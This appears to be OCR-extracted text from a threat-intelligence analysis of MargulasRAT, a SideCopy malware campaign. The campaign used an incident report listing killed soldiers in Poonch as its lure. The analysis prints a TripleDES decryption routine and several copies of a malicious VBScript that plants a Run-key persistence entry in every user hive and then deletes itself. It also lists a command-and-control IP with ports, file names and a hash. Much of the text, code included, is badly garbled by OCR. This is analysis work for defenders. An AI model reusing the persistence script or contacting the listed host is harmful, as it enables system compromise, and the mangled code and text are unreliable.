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Incident Report
BOONCH
Today on 11102021, at about 1015 hours,
Army 16 RR, Army 156 TA, alongwith 50G Surankate on
theii wn  information  launched  folnt  search
pereison in u- forest area of Chamred Mastandara
(33-590000, 74.332 )mw‘m nmlu nder
e Jurtsaiction. of #/$ Surankot
perati about 1085 hours, co
seimilabed between securlty forces and My
turrocists, ramiting fnto &h eacouster, Dutiag
ensulng gun batte following five Jawans of Army A
ariained martyrdom
1. JEO Jaswinder Singh No. JC-433904-A
2. Nalk Mandeep Singh No.19003780-M
3. Scpay Gafjan Sin lh'N 19003898-M
4-Sepoy Suraj Singh No. 19007559-L
5.8epay Vaisakh H. No. 14948625-H
Further detalls are awalted.
Editor View Binary View
40348 / 1500 256 x 240
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internal class MDS

i
privete readonly string passPhrase;
internal MD5(string passPhrase)
1
if (string.IsNullOrWhiteSpace(passPhrase))
throw new ArgumentException("No pass-phrase provided.", "passPhrase");
i
this.passPhrase = passPhrase;
H
internal string Decrypt(string value)
1
MD5CryptoServiceProvider hashProvider = null;
TripleDES ServicePravider pro = null;
Try
hashProvider = new MD5CryptoServiceProv
var hashPassPhrase = hashProvider.ComputeHash(Encoding.UTF8.GetBytes(passPhrase));
provider = new TripleDESCryptoServiceProvider();
provider.¥ey = hashPaszPhrase
provider.Mode = CipherMode.ECB;
provider.Padding = PaddingMode.PKC57;
dataToEncrypt = Convert.FromBasefdString(value);
decryptor = provider.CreateDecryptor();
var results = decryptor.TransformFinalBlock(dataToEncrypt, @, dataToEncrypt.Length);
return Encoding.UTF8.GetString(results);
i
finally
if (provider != null) provider.Clear();
if (hashProvider != null)} hashProvider.Clear();
i
H
¥

iE
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Incident Report
POONCH

Today on 11.10.2021, at about 1015 hours,

Army 16 RR, Army 156 TA, alongwith SOG Surankote on
their own information launched joint search
operation in the forest area of Chamred Mastandara
(33.590000, 74.332777) area of sector Buffliaz, under
the jurisdiction of P/S Surankote. During search
operation at about 1055 hours, contact has been
established between security forces and hiding
terrorists, resulting into an encounter. During the
ensuing gun battle following five Jawans of Army 16 RR
attained martyrdom:-

1. JCO Jaswinder Singh No. JC-423904-A

2. Naik Mandeep Singh No.19003780-M
' 3.Sepoy Gajjan Singh No. 19003898-M

4.Sepoy Suraj Singh No. 19007559-L

5. Sepoy Vaisakh H. No. 14948625-H

Further details are awaited.
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on error resume next
strComputer = "."

StrRegPathSuffix
STrRegValuchan:
strRegValucNames =
Set objShell = Create
appDatalocation=objShell
strRegValue = appDatalocation & ©
Const HKEV USERS = &HS0000003

1y
trings ("$PROGRAMDATAE")

Set oReg = GerObject(” s L . " & strComputer & ©
StrKeyPath = "
OReq.EnumKey HKEY USERS, strKeyPath, arrSubKeys

For Each subkey In arrSubKeys
‘wscript.scho subkey
'We only want to do some
If NOT ((InStx(1,subke:
0) OR (InStz (1, sukkey,”
‘Greate desired registry kev, S
strieyPath = subkey & StrRegPathSuffix
‘wscript.scho streyPath
oReg.CreateKey HKEY_USERS, strKeyBath
oReg.SetStringValue HREY USERS, streyPath, strRegValueName, strRegValue
End If
Next
Set obJFSO = CzeateObject( s
ObIF50.DeleteFile WSGILiDG.SG:
Wseript.Quit

he subkey does not contain any of the following: .DEFAULT or S-1
",1) > 0) OR (InStx(1,subkey,”5-1-5-157",1) > D) OR (InStr(l,subkey,
) > 0)) Then

.y

HETRER ¥ % = BAafHER B R wnx.exeEE MR RINEE |, F/aiRZvbs i

A, ZvbsfAs 53k B BatchPatchpjug(],

Registry String (REG_SZ) Example:

strComputer = ”.”

strRegPathSuffix = "\Software\Microsoft\Windows\CurrentVersion\Run”

strRegValueName = “ApplicationName”

strRegValue = "C:\Some Folder\Path To\Application.exe”
Const HKEY_USERS = &H80000003

Set oReg = GetObject ("winmemts: {impersonationLevel=impersonate} !\\"” & strComputer & "\ro

strKeyPath = 7~
oReg. EnumKey HKEY USERS, strKeyPath, arrSubKeys

For Each subkey In arrSubKeys
wseript. echo subkey

'We only want to do something if the subkey does not contain any of the following: .
$-1-5-18",1) > 0) OR

If NOT ((InStr(l,subkey, ”. DEFAULT”,1) > 0) OR (InStr(l, subkey.
"Create desired registry key/value
strKeyPath = subkey & strRegPathSuffix
wseript. echo strKeyPath
oReg. CreateKey HKEY_USERS, strKeyPath
oReg. SetStringValue HKEY_USERS, strKeyPath, strRegValueName, strRegValue
End If
Next

If you run one of the above scripts on a single computer as-is, it will enumerate

all of the subkeys under HKEY USERS, and then it will insert the desired

registry key and value (the reg key and value are defined at the top of the script)
into each of the HKEY USERS subkeys for any actual user who has logged on to
the computer. We skip any subkeys that contain “.DEFAULT" or “S-1-5-18" or “S-
1-5-19” or “S-1-5-20" or “_Classes” so that we only end up inserting the desired

key/value into the subkeys that correspond to actual users of the computers.

RAT

-5-16 or §-1-5-20 or _Classes
,1) > D) OR (InScr(l,subkey,"s

BEANEFEETERNNEBERN B R R EHRTEE%ProgramData% BT , dh&fwnx.exe , H
BIFENCHIRE . ZHEANSLRASideCopy i FfKIMargulasRAT, HIERIPA62.171.187.53 , i

F171443, 2443, 3443,
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strComputer
strRegPathSuffix = "\Software\Microsoft\Windows\CurrentVersion\Run"
strRegValueName "windows"

Set objShell = CreateObject( "WScript.Shell" )

appDataLocati. bjshell.ExpandEnvironmentstrings ("SAPPDATAY")
strRegValue = appDatalocation & "\winscvhost.exe"

Const HKEY_USERS = &H80000003

puter & "\root\default:StdRegProv")

Set oReg = GetObject ("winmgmts: {impersonationLevel=impersonate}!\\" & st
strKeyPath = **

oReg.EnumKey HEKEY USERS, strKeyPath, arrSubKeys

Each subkey In arrSubKeys
'wscript.echo subkey
'We only want to do something if the subkey does not contain any of the following: .DEFAULT or S-1-5-18 or S-
If NOT ((InStr(l,subkey,".DEFAULT",1) > 0) OR (InStr(l,subkey,"S-1-5-18",1) > 0) OR (InStr(l,subkey,"S-1-5-19
eate desired registry key/value

strkeyPath = subkey & strRegPathsSuffix

'wseript.echo strKeyPath

OReg.CreateKey HKEY_USERS, strKeyPath

oReg.SetStringValue HEEY USERS, strKeyPath, strRegValueName, strRegValue

End If
Next .
Set objFS0 = CreateObject ( “Scripting.FileSystemoObject® ) Cisco Talos #5ERY VB Sc H ot
objFS0.DeleteFile WScript.ScriptFullName

Figure 14: Malicious VBScript used to persist MargulasRAT across reboots.

On =ITOr resume next

strComputer = "." .
strRegPathSuffix AR FEIARY VB Script
strRegValueName = ™ "

strRegValueNames — "

Set obiShell = Czea\:eobjacc( "WScript.
appDatalocation=objShell.ExpandEnvironmentStrings ("$PROCE
strRegValue = appDatalocation & "
Const HXKEY USERS = &HB0000003

momts: {impersonati

\" & strComputer & ™\

Set oReg = GetObject (™
strKeyPath = ™"
oReg.EnumKey HKEY USERS, strKeyPath, arrSubKeys

For Each subkey In arrSubKeys
‘wscript.scho subkey
'We only want to do something if the subkey doss not contain any of the following: .DEFAULT or 5-1-5-18 or 5-1-5-19 or
5-1-5-20 or _Classes
If NOT ((InStr(l,subkey,".DEFAULT",1) » D) OR {InStr(1,subkey,"S-1-5-18",1) > 0) OR (InStr(l,subkey,"S-1
CR (InStr(l,subkey,”s-1- ,1) » 0) OR (InStr(l,subkey,” =s257,1) > 0)) Then
'Create desired registry key/value
strKeyPath = subkey & strRegPathSuffix
'wscript.echo strEeyPath
cReg.CreateKey EKEY USERS, strKeyFath
oReg.SetStringValue EXEY USERS, strKeyPath, strRegValueName, strRegValue
End If
Next
Set ob3FSC = CreateObject( "Scripting.F:
objFS0.DeleteFile WScript.ScriptFullName
WScript.Quit

197,1) > 0)

HAPmisE4y 5Cisco Talos RHAE & fMargulasRATHL S FEZN , (NE M T imistE 4B,
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5 Cisco Talos #%#& MargulasRAT &g ARIBIRAY MargulasRAT iTizfg <

Figure 15: Command handler of MargulasRAT.
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X4 Document-Final-210ct21.exe, mmbxt.exe
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RN 9728 bytes
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MD5 3b5276a9661164dbbe866b1731da354d
RN 250368 bytes

AR 2021-09-27 06:50:20
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[1]

https://github.com/amido/Amido.PreProcessor/blob/master/Src/PreProcessor.Cmd/MD5.cs

[2] https://batchpatch.com/deploying-a-registry-key-value-to-hkey_current_user-hkcu-or-all-
users-in-hkey_users-hku

[3] https://s3.amazonaws.com/talos-intelligence-
site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf?
1625657388
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